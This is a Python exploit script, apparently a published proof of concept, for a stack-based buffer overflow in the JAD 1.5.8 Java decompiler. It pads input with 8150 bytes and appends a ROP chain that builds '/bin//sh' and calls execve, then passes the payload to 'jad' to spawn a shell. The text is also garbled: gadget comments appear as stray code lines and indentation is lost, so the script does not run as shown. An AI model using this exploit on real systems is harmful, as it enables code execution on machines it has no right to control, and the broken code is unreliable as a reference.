#!/usr/bin/python
import os, subprocess
from struct import pack
ropchain = "A"*8150
ropchain += pack('<I', 0x080e9101)
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe0)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x0807b744)
ropchain += '/bin'
ropchain += pack('<I', 0x0810ae08)
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x080e9101)
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe4)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x0807b744)
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08)
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x080e9101)
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x080b4970)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x0810ae08)
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x080dcf4b)
ropchain += pack('<I', 0x0811abe0)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x08067b43)
ropchain += pack('<I', 0x0811abe8)
ropchain += pack('<I', 0x080e9101)
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8)
ropchain += pack('<I', 0x0811abe0)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x080b4970)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080e571f)
ropchain += pack('<I', 0x080c861f)
try:
print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["jad", ropchain])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "JADnot found!"
else:
print "Error executing exploit"
raise